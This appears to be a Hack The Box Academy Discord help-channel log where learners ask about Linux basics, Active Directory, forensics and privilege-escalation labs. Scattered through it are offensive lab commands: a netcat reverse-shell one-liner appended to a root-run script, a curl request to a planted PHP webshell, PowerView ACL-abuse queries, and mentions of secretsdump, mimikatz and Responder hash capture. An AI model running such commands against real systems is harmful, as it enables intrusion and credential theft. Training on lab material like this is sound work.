#modules

1 messages · Page 177 of 1

acoustic owl
#

Do you have enough cubes?

charred fable
#

it says head cannot open n3

open marlin
fathom pendant
fathom pendant
fathom pendant
open marlin
charred fable
fathom pendant
#

Yep you can disable ad-blocker for htb as they don't serve ads

#

@charred fable

#

Head -n3 isn't meant to be run on its own

#

I'm telling you to pipe the apt list command, into head -n3

#

As I typed out here

#

The first thing it says after the warning

charred fable
#

should I google how to run the head -n3 or can you tell me ?

fathom pendant
#

...

#

I fucking showed you the exact command to run

open marlin
fathom pendant
#

Yes

#

I'm just more frustrated by the lack of comprehension, as I said it multiple times

fathom pendant
#

Pipe just takes the stdout of a command and makes it the stdin of the following command

#

most commands support this

#

@acoustic owl ^

fathom pendant
#

I hope you can feel my frustration second-hand payload

charred fable
#

apt list --installed | head -n3 ?

fathom pendant
#

...if only I said that earlier

fathom pendant
charred fable
#

ok but that dont show me the correct answer

fathom pendant
#

It's not meant to show you the correct answer

#

It's meant to show you why it's giving you the wrong answer

#

One of the lines there stands out as not a package doesn't it

lusty thicket
charred fable
#

it shows me 3 , 2 installed

fathom pendant
#

Mhm and the first line?

charred fable
#

no it shows me 2

fathom pendant
charred fable
#

and both are installed

fathom pendant
#

No, it's showing you 3 lines total

#

All 3 of those lines are in the output that wc is counting

charred fable
#

ok but Its showing me 2

fathom pendant
#

Let me make it more obviously

charred fable
#

3 lines but its 2

fathom pendant
#

Do me a favor

#

Pipe that to wc -l

#

Just do that

#

So apt list --installed | head -n3 | wc -l

#

Maybe that'll help it click

charred fable
#

3

#

ok u were right there. but the correct answer is 737 so ...

fathom pendant
#

Correcr

glass cargo
#

i use 'apt list --installed | wc -l' and listed 738, but wrong answer

fathom pendant
fathom pendant
#

Perhaps the line above the first "installed" item

charred fable
#

ok me to. I get 738

fathom pendant
#

There's two options now to get the right answer, both involve grep

charred fable
#

I will explain how you get the correct answer

fathom pendant
#

One involves grep -v [first line of the incorrect output]

#

Or grep "specific word"

#

Both will give you the right answer

glass cargo
#

I'm going to have breakfast, then I'll be back lol

fathom pendant
glass cargo
#

thank you

fathom pendant
#

The warning message isn't counted in wc

#

As its displayed even though you piped it

charred fable
#

dpkg -l | grep '*ii' | wc -l

#

that gave me the correct answer

#

I dont understand it but thats what gave me the right answer

fathom pendant
#

Warning you should probably do dpkg -l | more

#

So you don't have a screen full of a bunch of stuff

#

And can look through it easier

fathom pendant
#

At least letting you use your brain to make connections yourself

charred fable
#

yes but the problem is that I dont get the same answer

fathom pendant
#

Which is why I'm walking you through how to figure it out

fathom pendant
charred fable
#

I dont know can you please tell me

fathom pendant
#

Use your brain

#

What's the common thing with the output when you used head

#

If you can't learn to figure stuff out on your own, you're gonna have a really rough time in-general with learning

charred fable
#

thats why Im here trying learn and get some help

fathom pendant
#

Yes, but you're not always gonna have someone to basically spell it out for you

#

At some point you gotta stand on your own

#

I've given you 99% of the information/how to get the information

charred fable
#

I didnt understand your explanation

fathom pendant
#

It's up to you to get the last 1%

fathom pendant
#

I told you to use head as a quick way to evaluate the output given to you

amber breach
#

bump for any tips

fathom pendant
fathom pendant
#

And maybe the semicolon?

acoustic owl
# amber breach bump for any tips

This question is about writing the right keyword in the rule. The module explains where exactly the user agent is transmitted. This term is searched for

obsidian meteor
#

helloo

#

new here

fathom pendant
charred fable
fathom pendant
#

because you don't wc -l that output

obsidian meteor
fathom pendant
acoustic owl
fathom pendant
#

meaning you need to look at the output and engage your brain

ebon jasper
#

Hello everyone !
I am in ACDS attack module and I have been in trouble for 3 hour with ESC11
I did exactly what room showed. I got hashes but it was wrong I decided to check I login with pth when I check hostname was "LAB-DC"
But room asking WS01
I couldn't know how to target WS01 can anyone help me?
If I follow ESC11 I am taking lab-dc's hashes not WS01

charred fable
#

didnt work either

fathom pendant
#

don't pipe to anything else

#

just apt list --installed | head -n3 you see 2 things installed and one other line

#

that one other line is why the output is incorrect

charred fable
#

ok its shows me those 3. and that is not the correct answer

fathom pendant
#

so you need to filter the apt list --installed with grep

#

head is not used for the final answer

#

it's purely just for ease of evaluating output

#

instead of needing to scroll up/down the terminal to find something

#

head -n3 just shows the first 3 lines of output

charred fable
#

bro i was looking for a way to get it to show me the right answer

#

and your way wasnt the correct way

fathom pendant
charred fable
#

it didnt show me 737

fathom pendant
#

i'm trying to help you figure it out on your own

#

i'm deliberately not telling you the full answer

charred fable
#

wow

fathom pendant
#

apt list --installed | grep "something" | wc -l

charred fable
#

will it show me 737 ?

fathom pendant
#

you need to replace "something" with a different word

charred fable
#

what word will give me 737 ?

fathom pendant
#

this is why i'm not telling you the direct answer; because you don't understand why

#

apt list --installed | head -n5 look for a common word in that output

#

and that's what you'll replace it with

charred fable
#

aha ok

#

now im starting to get you

fathom pendant
#

i gave you a longer list this time so you can work it out on your own

#

you should have been able to do this on your own if you used any bit of braincells i originally thought you had

#

I already held your hand far longer than i normally would have

charred fable
#

hahhaha and I appreciate that

#

thank you for your patience

fathom pendant
#

just be glad I'm bored

#

otherwise i would have given up long ago

#

especially since you already got the answer (using a different method that you also didn't bother to try and understand)

charred fable
#

this doest mean I have found the right word 😩

fathom pendant
#

like i said

#

use your brain, i'm starting to lose more faith with each time you come back that you have one

charred fable
fathom pendant
#

so apt list --installed gives you a close answer, but not the right one

charred fable
#

how can the other way show me the correct answer and not the way you are showing

fathom pendant
#

what is the common word in all the installed packages

charred fable
#

installed automatic ?

fathom pendant
charred fable
#

installed

fathom pendant
#

👍

#

this explains the dpkg output one

#

in short though ii for dpkg means installed

#

which is why i was waiting to explain it

charred fable
#

ok but why dont apt show me 737 ?

fathom pendant
#

if you grep for the right word, you'll get 737

#

:) like i said it's just one step away

charred fable
#

ok Ill try it lets see

fathom pendant
#

apt list --installed | grep "right word" | wc -l will give it to you

spark pier
#

I'm doing the memory forensics module in Intro to Digital Forensics and ive been stumped on whats the process of using volatility for the last question
Examine the file "/home/htb-student/MemoryDumps/Win7-2515534d.vmem" with Volatility. Enter the Pid of the process that loaded zlib1.dll as your answer.
Furthest i've gotten really is checking the handles and grepping for zlib1.dll to find it at C:\ProgramData\ggzstcat367\TaskData\Tor\zlib1.dll
vol.py -f Win7-2515534d.vmem --profile=Win7SP1x64 dlllist -p <pID> | grep zlib
surely there's a better approach than me running dlllist on every process ID?

charred fable
#

haha now I really got it

#

now it will stick for sure

#

once again thank you for your patience

amber breach
wooden badger
#

hi! I'm going through the module:Introduction to Active Directory
I'm stuck on a simple question, either I'm not translating the question correctly through the translator, or I'm writing it wrong..?
What role ensures that objects in a domain are not assigned the same SID?(full name)

acoustic owl
wooden badger
#

The module is easy, but due to the fact that the language and the translation itself can be crooked, it’s just trash))

wooden badger
#

Can anyone tell me the answer? I write: Relative ID (RID) Master

#

Says it's not the right answer(

still heath
#

Can any one help me in BROKEN AUTHENTICATION
Predictable Reset Token

acoustic owl
acoustic owl
wooden badger
still heath
#

I try different thing with the script but I don't know If i am missing something in the script

wooden badger
acoustic owl
acoustic owl
still heath
cold pilot
#

Hi everyone, I am not sure if this is the right place but I am taking the new learning path called senior web penetration tester and I am taking a module called injection attacks, I got stuck on the skill assessment the final challenge, if anyone is familiar and finished this module please DM me here in discord. thank you so much 🙂

left grove
#

Hey, guys I'm currently stuck on the first question on the Skills Assessment section of Intro to Assembly. I figured the second question out but I've been stumped on this one for a few days now. Any pointers in the right direction would be much appreciated 👍

acoustic owl
spark pier
#

why has my thrad on digital forensics been deleted? bs i cant get any help with a single question

wind meadow
#

hrm what's the python3 cmd to upgrade shell?

#

knew i saw it in a previous module..

analog dock
#

You mean this?

wind meadow
#

@analog dock ah yes.. ty

glass cargo
#

module 18, section 80 for linux fundamentals

#

help in last question

#

i did use curl "site" | wc -l

#

what's command for filter "all unique paths"??

terse topaz
#

i need help on the module Windows Privilege Escalation: Interacting with Users, i setup the responder and put the scf file in the share, but i did not get the hash of the SCCM_SVC user, he never call back to my responder

#

nvm lol, i reset the box and now i got the hash

charred fable
#

How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)
what am I doing wrong, I typed
ss -l -4 | grep "LISTEN" | grep -v "127" | wc -l

silver pagoda
#

Hi, i have been doing cybersecurity and ctfs for the better part of a year now and i have just recently made my mind up to start bug huntig on intrigriti, but what i have relisef is that the hole thing is very hard and confusing, so i am writing this message to maby get some tips and tricks and also to connect with somebody that is willing to hep me

brave prawn
#

Hey, my question is about optional task in "Target Function" in "Introduction to Whitebox Pentesting" module. I can't see console.log output in DEBUG CONSOLE.

You can see my breakpoints and payload on the following photos.

Payload:
curl -s -X POST -H "Content-Type: application/json" -H "Authorization: Bearer <token>" -d '{"text":"\"console.log(\"hello\")\""}' http://localhost:5000/api/service/generate

charred fable
midnight coyote
#

Js is so hardkekhands

#

I cant do it anymore

#

rpheart :troll~1

frozen mesa
#

SECURITY MONITORING & SIEM FUNDAMENTALS --> Introduction To The Elastic Stack -->Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Discover". Then, click on the calendar icon, specify "last 15 years", and click on "Apply". Finally, choose the "windows*" index pattern. Now, execute the KQL query that is mentioned in the "Comparison Operators" part of this section and enter the username of the disabled account as your answer. Just the username; no need to account for the domain.

I only get the usernames ||administrator and Administrator|| but both are not correct. Anyone a nudge?

supple gorge
analog hatch
#

Im trying to do Windows Attacks & Defense > Coercing Attacks & Unconstrained Delegation, I am trying to follow along but stuck at the first command. When i run Get-NetComputer -Unconstrained | select samaccountname i get a few blank lines under samaccountname .What am i doing wrong? The command works, but i gt a blank output instead of the results in the example. Im sure i could skip this step but it feels I am missing something if i cant identify which systems are configured for Unconstrained Delegation.

next bronze
#

did you import powerview?

analog hatch
next bronze
#

try Get-NetComputer -Unconstrained | gm -Type Properties

analog hatch
next bronze
#

weird, open another terminal, import and run it again

analog hatch
#

tried that, or do you mean the command you just gave me

supple gorge
#

maybe reset target and see if it fixes?

#

that's supposed to work

next bronze
#

yeah seems like it didn't get imported properly

supple gorge
#

I think you're right, I had to run this before running that to import it:

Import-Module .\PowerView.ps1

#

can I get a sanity check..

find / rockyou.txt

should find where the file rockyou.txt exists in pwnbox right?

analog hatch
supple gorge
#

Did you run this before:

Import-Module .\PowerView.ps1

analog hatch
supple gorge
#

find the folder where powerview is before running that command, since it uses relative path

analog hatch
#

yeah, i have PowerView.ps1 and PowerView-main.ps1

tiny ember
analog hatch
#

On previous modules PowerView has worked fine

supple gorge
#

If you've successfully imported both Powerview scripts, and if you already tried resetting, theres's not much else I can think of to help

next bronze
analog hatch
#

I've just tried importing PowerView-main.ps1 again after the reboot and now it is working and i get the result as well as the errors in your screenshot (which i assume are nothing to worry about)

supple gorge
#

rockyou on pwnbox:

/usr/share/wordlists/rockyou.txt

next bronze
#

locate is also way faster btw since it uses a pre indexed db to search for files

supple gorge
tiny ember
full nimbus
#

Hey folks, I'm trying to get local user groups for a service account as practicing the HTB Active Directory module

#

any pointers of any tool that can do it apart ldap from the attack machine ? Could not find a way with CME or enum4linux or rpcclient

next bronze
#

you want to find the groups the user belongs to?

full nimbus
#

What powerful local group on the Domain Controller is the SAPService user a member of?

#

that's the challenge I need to complete to validate the modulle

#

also I can't winRM to target it seems 🙂

next bronze
#

you can use cme:
nxc -M groupmembership
here it's netexec, the updated fork of cme

glass cargo
#

hi

undone dawn
#

Hello. Can anyone give a hint for this question from Active Directory Enumeration and Attacks, Skills Assessment Part 1?

#

I have got svc_sql user. But, can not find a path for local administrator on MS01 host

next bronze
full nimbus
#

MIght try this way then because can't install nxc on the jumbox and i'm lazy to tunnel from my own box 🙂

next bronze
#

the jumpbox should have cme installed, same commands

full nimbus
#

Ah I get it now, groupmembership is not in the help because it's a module

next bronze
#

you can list modules with -L

full nimbus
#

Yes, the cme verson on the box seems too old and does not have this module. Anyway, went thru via GetUserSPN 🙂

#

thx @next bronze

next bronze
#

oh yeah my cme also doesn't have it, interesting

next bronze
full nimbus
#

Yeah I've read about CME that is going to be available only for paying contributors or something like that and netexec seems the way to go now

next bronze
#

haha yeah a little more complicated than that but close, all the active devs moved to netexec

glass cargo
#

which do you prefer gnome or xfce? (kali linux)

full nimbus
#

personaly I don't use the UI 😄

wanton jasper
#

I am running responder for a task and was wondering would I use tun0 or would I use my igolo adapter when using it?

fathom pendant
junior oxide
#

how do i delete my credit card information

charred fable
fathom pendant
gentle dew
#

Hi guys on the module Active Directory enumeration & attacks #ACL enumeration, the last question is buggued because the machine crash everytime, someone can give me the answer please ?

topaz holly
#

Bro in Login Brute Forcing at the Service Authentication Brute Forcing section I successfully brute forced the password for the user for the ssh (following the steps given) and I simply cannot ssh into that user with the target address at all.

The steps say just to use ssh to connect to it and attempt the password. However, I am not able to ever attempt to enter the password I have gathered and it asks me if I would like to continue connecting, after typing yes it will just forever tell me permission denied. I am stuck due to what seems to be a technical error. It's upsetting because this section isn't even hard I'm just facing a bug or something.

gentle dew
#

Power shell can’t handle the command for me + a friend + multiple person according to the forum.

fathom pendant
#

It's a .com domain, it's on public root servers

charred fable
full nimbus
fathom pendant
charred fable
#

ok

stiff tiger
#

Just finished attacking applications with ffuf - one of the questions required a recursive scan with a large wordlist with multiple files extensions which took well over 30 minutes. -t allows us to set the number of threads from the default of 40. Previously I have been using gobuster with -t 100 - what would be a good thread number to use for ffuf to spead up a very large recursive scan with multiple file extensions?

full nimbus
#

ok my bad sorry 🙂 Then should use that one 😄

next bronze
fathom pendant
gentle dew
acoustic owl
lusty thicket
charred fable
next bronze
gentle dew
full nimbus
#

out of curiosity, is ligolo better/easier than chisel ?

fathom pendant
charred fable
#

paid

fathom pendant
#

If free: pwnbox has limited internet access

stiff tiger
wanton jasper
#

I thought igolo was able to do it all. I should have read more into it

next bronze
fathom pendant
full nimbus
#

Part of responder relies on broadcast traffic I think, and you won't likely be able to forward that broadcast traffic over a pivoting tool

#

at least the poisoining part

wanton jasper
#

that could explain why I didnt get a hit

junior oxide
#

i accidenlty added an exam voucher that i can't afford and not ready for will the exam be boguht as soon as i get enough money in my credit card and if yes does anyone know how do i cancel that ?????????

junior oxide
#

whats their email ?

topaz holly
#

Anyone have any idea about my problem? It sucks to be stuck on something that seems out of my control. The module indicates I should be allowed to attempt to ssh and should not get permission denied

junior oxide
compact patrolBOT
slender shoal
charred fable
hardy anchor
#

Did you solve it?

fathom pendant
#

can you visit in a browser on the pwnbox ¯_(ツ)_/¯

full nimbus
next bronze
next bronze
# gentle dew Hi guys on the module Active Directory enumeration & attacks #ACL enumeration, t...

okay this is quite weird, I tried writing alternative commands which would work in theory but doesn't return the right results, pretty sure the first time I did this module is using the commands given in the section but it indeed takes a long time to run. anyways here's the alternative commands that should work, but not in this case since some ACE are missing from the output and I can't be asked to find out why

Get-DomainObjectAcl -Identity "GPO Management" | Where-Object { $_.SecurityIdentifier -eq (Get-ADUser 'forend').SID.Value }
$gpogrpsid = Convert-NameToSid "GPO Management"; (Get-ADUser -Filter "Name -like 'forend'").DistinguishedName | ForEach-Object { Get-DomainObjectAcl -SearchBase $_ -SearchScope Subtree } | where { $_.SecurityIdentifier.value -eq $gpogrpsid }

since none of those works, the answer is in bloodhound, it's not the exact same name so check this link to find which should be the answer
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

gentle dew
median kettle
#

has anyone completed the dnsadmin section in the windows privilege escalation module? i seem to be running into an issue

#

i manage to add myself to the group, but cant see the flag or remove the value in the registry. i verified i am part of the domain admins group

next bronze
#

compared to whatever mess that was earlier

tiny mauve
#

I have a quick question, I finish all the free Basics Pen Testing Tier 0 section of the HTB Labs.. I'm thinking about putting that in my resume as projects, I'm wondering if there is a better way to add it to my resume?

#

If anyone have any ideas please let me know

median kettle
#

i would just put in you work on hack the box modules in your resume under "free time" or mention it in a quick summary about yourself

#

@tiny mauve

next bronze
median kettle
#

ive tried that and got a permission denied.

#

also tried gpupdate /force

next bronze
#

try using the revshell method

supple gorge
#

bruh... I didn't do the ffuf module. lame

#

ig I'll be trying to find where the wordpress site is on

next bronze
#

it's right in front of you kek

supple gorge
#

I'll get it eventually lol

buoyant escarp
#

Shells and Payloads, Assessment
i have found the file upload vuln, but it is mentioned there is a second upload vuln, i think its ||tomcat_mgr_upload||can someone verify if its the right one bc i want to test both.

#

Host-01

woeful walrus
#

Hey All, I'm struggling with the end of Nibbles. I had the reverse shell working, but it's not working anymore and I don't know what to do. I don't really know how I lost the reverse shell, or why it's not working anymore. I keep going over my steps and I can't figure out what's wrong. Any help greatly appreciated.

When I upload the PHP test file I can see that I have code execution, but then when I try to update it with my vpn ip and port with the provided one-liner to run the reverse shell, I get nothing. It worked before... idk what I'm doing wrong.

woeful walrus
lusty thicket
woeful walrus
next bronze
#

cmon now

fallow snow
#

Hey all - Looking to get some help if possible.

I'm doing the Javascript Deobfuscation skills assesment and hit a part where I'm stuck on the following question

Try to Analyze the deobfuscated JavaScript code, and understand its main functionality. Once you do, try to replicate what it's doing to get a secret key. What is the key?

I've got all the answers, but when looking, I don't see any key in the deobfuscated code which I haven't already used as an accepted answer...

EDIT: Oh, my bad. I missed over the fact of what I used to get the final answer! 😄

woeful walrus
next bronze
#

is that your ip and are you listening on that port?

woeful walrus
#

that's the ip of my vpn connection, and yes I'm listening on that port

#

└──╼ $nc -lvnp 42068
listening on [any] 42068 ...

next bronze
#

did you curl the revshell

woeful walrus
#

It worked my first few attermpts.

Yes.

next bronze
#

hm, reset the target and try again

fathom pendant
buoyant escarp
next bronze
#

try it

tiny mauve
#

Alright, thanks.. @median kettle @fathom pendant

woeful walrus
#

I dont get why I'm not seeing my posts in here now 😦

#

Is there like a character limit or something?

supple gorge
woeful walrus
#

Resetting the target worked, but I'm still stuck at the very end...

I setup the HTTP server and see the GET /LinEnum.sh HTTP/1.1 200 posting.

running wget .../LinEnum.sh worked.. I then chmod +x'd LinEnum, and then ran ./LinEnum.sh That all worked.

next bronze
woeful walrus
#

I made a monitor.sh.bak to be safe, then ran echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.23 42069 >/tmp/f' | tee -a monitor.sh

fathom pendant
#

if you verify your account it'll likely stop it from being dumb

woeful walrus
#

Then I run sudo /home/nibbler/personal/stuff/monitor.sh and I get
unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found (x3)

Did I miss something? I don't see root.txt anywhere

fathom pendant
#

try sudo bash /home/nibbler/personal/stuff/monitor.sh

woeful walrus
#

UGH the machine stopped working again!!! just like last time!!!

#

this is very frustrating 😦

fathom pendant
#

also: do you have your listener set up on the right port?

woeful walrus
#

How do I verify my account so I can stop getting rate limited when asking for help?

fathom pendant
#

it's not rate limiting; these channels are in slow-mode

woeful walrus
#

Yes, I keep getting to this point and then it stops working becauser I'm probably taking too long or something idk

fathom pendant
#

it's not tied to taking any specific amount of time

woeful walrus
#

well it keeps needing me to restart it and redo the exact same things to work.

fathom pendant
woeful walrus
#

If you're not going to be helpful, don't say anything?

#

Really. Just not what I'm here for.

fathom pendant
#

i'm telling you: what your doing appears to be correct - and works fine when I do it

woeful walrus
#

Yes, that doesn't help anyone at all.

fathom pendant
#

¯_(ツ)_/¯

#

try changing vpn region and respawning the target

lusty thicket
woeful walrus
#

I have to keep respawning it. Thta's the problem

#

I cant get to the end before it stops working

fathom pendant
#

like working on a live engagement

fathom pendant
lusty thicket
fathom pendant
#

afaik

woeful walrus
#

all under 10ms

fathom pendant
#

i forget if you need to also chmod +x the monitor.sh file

woeful walrus
#

stable.

charred fable
#

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

How can I see the "unique paths". ?? before starting filterering

I typed curl "https://www.inlanefreight.com".
and I got alot text

supple gorge
fathom pendant
#

:P and tr iirc

#

curl grabs the source-code - you need to narrow that down to get the answer

charred fable
#

yes but I mean before that. how do you know what too look for

#

what is the uniique here ?

fathom pendant
#

"unique" means one-of-a-kind

#

no duplicates

#

there's a sort option that filters unique stuff

charred fable
#

-u

next bronze
#

your initial command should work pretty well thinkw

fathom pendant
#

^

#

the command you posted way earlier should work

#

you got caught up for whatever reason your curl wasn't recognizing the site

#

now that sounds fixed

ebon coral
charred fable
#

but now im tryna figure out the filters

fathom pendant
#

again: the command you pasted a while ago

#

if you don't understand a command there's always the man command to help fill gaps

median kettle
#

so i verified the dll was successful, im in the domain admin group, ran gpupdate /force and logged out then back in. i still get access denied

#

can someone help? i been on this section for weeks now

ebon coral
median kettle
#

windows privilege escalation, the section where you abuse dnsadmin privileges

faint rampart
median kettle
#

ive tried adding myself to the local admin account but it doesnt work.

#

ive also tried changing admin password through cmd on admin mode but i still get denied. managed to upload a backdoor but couldnt get system level access

median kettle
#

ima try that

#

you gotta do that through msf yea?

faint rampart
#

secretsdump

median kettle
#

completely forgot about that

faint rampart
#

You could also use mimikatz, but the privileges problem might affect it, i plan to try secretsdump after I finish the module.

ebon coral
#

Also I noticed you said you logged out, try restarting also

median kettle
#

restarting the machine?

ebon coral
#

No

median kettle
languid wharf
#

Hi, I'm on the second lab of the AD Enumeration module, trying to get the admin flag on the SQL01 host. ||I have a shell as mssqlsvc on the SQL01 host, and I identified the seImpersonate privilege enabled. I'm trying to download PrintSpoofer.exe to this machine in order to exploit it but it doesn't let me download anything to the box|| Any suggestions?

ebon coral
languid wharf
#

I have a powershell revshell, so I tried Invoke-WebRequest Client.DownloadFile etc

#

It seems like any time I add an output option to the command it just doesn't execute

#

for example, I tried running wget like: ||wget http://IP:port/exploit.exe and I get a hit on my python webserver, but if I run wget http://IP:port/exploit.exe --output exploit.exe it doesn't make a request to the webserver||.

ebon coral
#

Maybe that's blocked. Is SMB port open?

#

FTP?

languid wharf
#

I've tried smb but with no success, I'll try ftp as well. Thanks!

ebon coral
#

For smb, if it's open and you haven't tried I've found more success if I mount the smb network share with username and password.

languid wharf
#

I've started the smb server from the parrot attack machine: ||sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData ./|| and try to mount from ||SQL01 revshell using: net use X: \172.16.7.240\CompData || I don't get any error on the command but I don't see the ||X:|| share

next bronze
#

you don't need to use the net use command, just copy what you want out from the share
cp \\ip\CompData\file

#

and make sure that host can reach the am server

languid wharf
#

I tried it first, I see that the user authenticates successfully but I don't get any file on the revshell session

supple gorge
#

Is anyone down to give me a sanity check on "Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download."

I found something, it isn't working, just checking if I'm making a silly mistake of if I'm way off

This is in the Hacking Wordpress module

languid wharf
#

I ran: ||copy \\172.16.7.240\CompData\blabla.exe temp.exe|| and I see ||[*] User SQL01\SQL01$ authenticated successfully [*] SQL01$::INLANEFREIGHT:<SNIP> [*] Closing down connection (172.16.7.60,53881)|| But I don't have any file on the revshell host

next bronze
languid wharf
#

copy \\IP\CompData\file.exe temp.exe like this?

next bronze
#

yea

languid wharf
#

Doesn't work as well 😦

next bronze
#

any errors?

languid wharf
#

No, I get the output on the smb server that the client authenicated successfully and I get no error on client side

#

That's why I'm clueless

next bronze
#

that's not possible, if there's no error than the file is copied, check the directory properly

languid wharf
#

There's not a file present, Idk. Both dir and ls don't show anything

fathom pendant
#

Is the file in the hosted smb server

languid wharf
#

Yeah

ebon coral
# languid wharf I've started the smb server from the parrot attack machine: ||`sudo python3 /usr...

The sytnax for net use seems wrong usually its net use X: \\IP\shareLocation (missing a \). Also, just to exhaust try creating the share with creds: sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData . -user {some username} -password {some password} then mount with net use X: \\IP\shareLocation /user:{some username} {some passsword}. Then you can you can try copy X:\filename path\filename

languid wharf
#

Doesn't work as well

#

Maybe the machine needs a reset

heavy marsh
#

Are AD labs down? Been trying to get one to come up for over a half an hour!

#

I guess I answered my question. Not down, just takes 40 min to get in after resetting the machine multiple times!

#

👍

#

And after all of that the supplied mimikatz wont work!

supple gorge
maiden field
#

Understanding Log Sources & Investigating with Splunk
Introduction To Splunk & SPL

Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all 4624 events the account name that made the most login attempts within a span of 10 minutes. Enter it as your answer.

I found the answer but haven't use what the hint told me and my query doesn't show me the good account with the most login attempts. If someone can dm me I can show my query but i'm not sure to understand this one

supple gorge
#

idk the question is weird

supple gorge
buoyant void
#

I'm stuck on the Attacking Common Services Hard lab, last question.

||I already impersonated the correct user, can interact with the linked sql server but when I try to retrieve the flag using EXECUTE('SELECT * FROM OPENROWSET(BULK ''C:/Users/Administrator/Desktop/flag.txt'', SINGLE_CLOB) AS Contents') AT [LOCAL.TEST.LINKED.SRV]; I'm getting a memory allocation failure error. Am I on the wrong track here? ||

Edit: Nvm got it to work, ||I was using sqsh on my Kali box thought I should at least try to RDP into the client and try it from sqlcmd and that worked, not sure why but I'm not complaining.||

maiden field
supple gorge
#

it works when I put the address on the browser... so I already have the answer... just curious why the curl didn't work

#

curl -X GET http://blog.inlanefreight.local/wp-content/themes/twentysixteen/404.php?cmd=ls /home/x/

supple gorge
#

tbh I already got the answer so I"m moving on... but if anyone got any ideas that would be cool

viscid cedar
#

Is there a way to search an entire module for a text string? For example if I wanted to search the entire Windows Privilege Escalation module for the string 'pass the hash', is there a way to do that?

viscid cedar
#

For the Windows Privilege Escalation module Pillaging, for the Optional Exercises what are you supposed to submit? There is no flag on the Administrators desktop.

rustic sage
#

on acitve subdomain enumeration in information gathering web edition, im really stuck on the following. i have no clue what to do. ive tried digging inlanefreight.htb with the target ip as the nameserver, digging the nameserver itself, etc. i put the ip linking to inlanefreight.htb in the /etc/hosts file.

What is the FQDN of the IP address 10.10.34.136?
What FQDN is assigned to the IP address 10.10.1.5? Submit the FQDN as the answer.
Submit the number of all "A" records from all zones as the answer.

#

if someone could just give me a small pointer or idea of what to try next that would be much appreciated.

neon wadi
# heavy marsh Are AD labs down? Been trying to get one to come up for over a half an hour!

I've been trying for almost an hour to connect to the AD lab for Credentialed Enumeration - from Linux. Not able to connect. I get an IP address when I spawn the machine, but cannot SSH or ping the address. I've tried connecting through all the US VPN servers (TCP and UDP), resetting the connection, terminating the box, refreshing my browser then starting again. Nothing seems to work.

tranquil axle
#

So it thinks the url ends after ls and another starts with /home/x

supple gorge
cobalt trench
#

On the attacking wordpress module, skills assessment portion. I'm trying to gain a shell via msfconsole but it says it is unable to upload the payload. I have the username and password via wpscan. I also tried RCE but it wont let me upload the code. Am I missing something?

next bronze
#

your lhost is wrong

#

but that doesn't seem to be the only issue, idk I've never used that msf module

supple gorge
cobalt trench
supple gorge
#

That when I pressed the edit button. Change apply. It would fail.

I did eventually tried another theme. But every once ina. While the server would go down. Aka. You go to the address and website won't load.

Wait a few minutes and It comes back

sullen tusk
charred fable
#

Im on the "permission management" why cant I spawn on my pwd box anymore ? I want to login in to htb_student but there is no Spawn button and I cant see the IP ?

#

it was the same on the page before

#

and when I go back 2 pages and take the IP from there it doesnt work on the "permission management" page

next bronze
#

pwnbox or target? some sections won't have a target

charred fable
#

i meant target
ok, /etc/ssh/sshd_config didnt work so I thought I could depend on that

next bronze
#

you can do those questions without a target, in pwnbox or your own vm

charred fable
agile torrent
#

I'm trying to do the Web Proxies module (on firefox), but when clicking on the spawn target button, it loads for a moment then goes back to the text asking me to click on it. I've cleared my cookies, and relogged in but still happening. Oddly, each time I click on it I get Cookie “__cf_bm” has been rejected because it is already expired. a few times in console. My system time is correct, so not quite sure what that could be. Any ideas on what could be causing this?

#

same seems to happen in chromium sans the cookie console warns

next bronze
#

clear cookies?

agile torrent
#

yup, cleared them a few times. no dice:(

#

does the academy vpn have to be on to spawn the target, or just interact with it?

next bronze
#

no you don't need vpn to spawn the target

languid wharf
#

Hey, I still can't get the file on the ||SQL01 machine|| second lab of AD module. I think there are not error showing at all on this shell, because even when I write invalid commands I don't get any erros showing

next bronze
#

are you using a scuffed shell?

languid wharf
#

What other shell can I get on it?

#

||powershell revshell initiated by xp_cmdshell||

languid wharf
#

I'll try it, thanks!

charred fable
#

help please
I want to Search for all lines that contain a word that starts with Permit.
the page only shows me how to (a) [a-z] {1,10} \ .*

fathom pendant
#

Why do you need to look for that?

charred fable
fathom pendant
#

Section?

charred fable
fathom pendant
#

Also you need to learn how to adapt given information on your own

charred fable
#

Im trying

#

before asking here i try alot

fathom pendant
#

Ah, I skipped over this as it wasn't required

charred fable
#

Im not trying to skip anything because Im new to all of this and I need to learn it

fathom pendant
#

Think how you'd grep for a word: then modify that

charred fable
#

grep -E "(Permit|permit)" /etc/passwd

#

I think * should be there somewhere but dont know how or where

fathom pendant
#

Except that's not the excersize

#

The exercise is to do it against the sshd_config file

lusty thicket
sly dome
#

in regex the reserved character for "start with" is ^

fathom pendant
sly dome
#

hmm dont know the exact case here

fathom pendant
#

That's the phrasing

#

But there's no actual answer-box to confirm correct vs incorrect cases/amount

charred fable
#

grep -E "(Permit|permit)" sshd_config. ?

fathom pendant
#

/etc/ssh/sshd_config

undone dawn
charred fable
#

grep -E "(Permit|permit)" /etc/ssh/sshd_config

fathom pendant
#

But it might be the case where you need to do grep -E "^Permit"

fathom pendant
#

Or something like that

severe eagle
#

hey does anyone else have the issue compiling exploits on your own machine to putting on target GLIBC error

#

but when compiling on the HTB attack machine works fine??

fathom pendant
#

Because if you don't statically compile it links to your glib version, which is likely different on the target

charred fable
#

i Tried
grep -E "(Permit|permit)" /etc/ssh/sshd_config
grep -E "(^Permit|permit)" /etc/ssh/sshd_config

fathom pendant
#

Try putting the ^ before the quotes

charred fable
#

when I try
/etc/ssh/sshd_config
Its says permission denied

#

and with sudo command not found

fathom pendant
#

Ah

#

It's because it doesn't actually start with Permit

#

The start of the line has a #

dire granite
#

Hello i m doing Linux fundamental module im stuck in the find and files directories section.
To solve the first question :
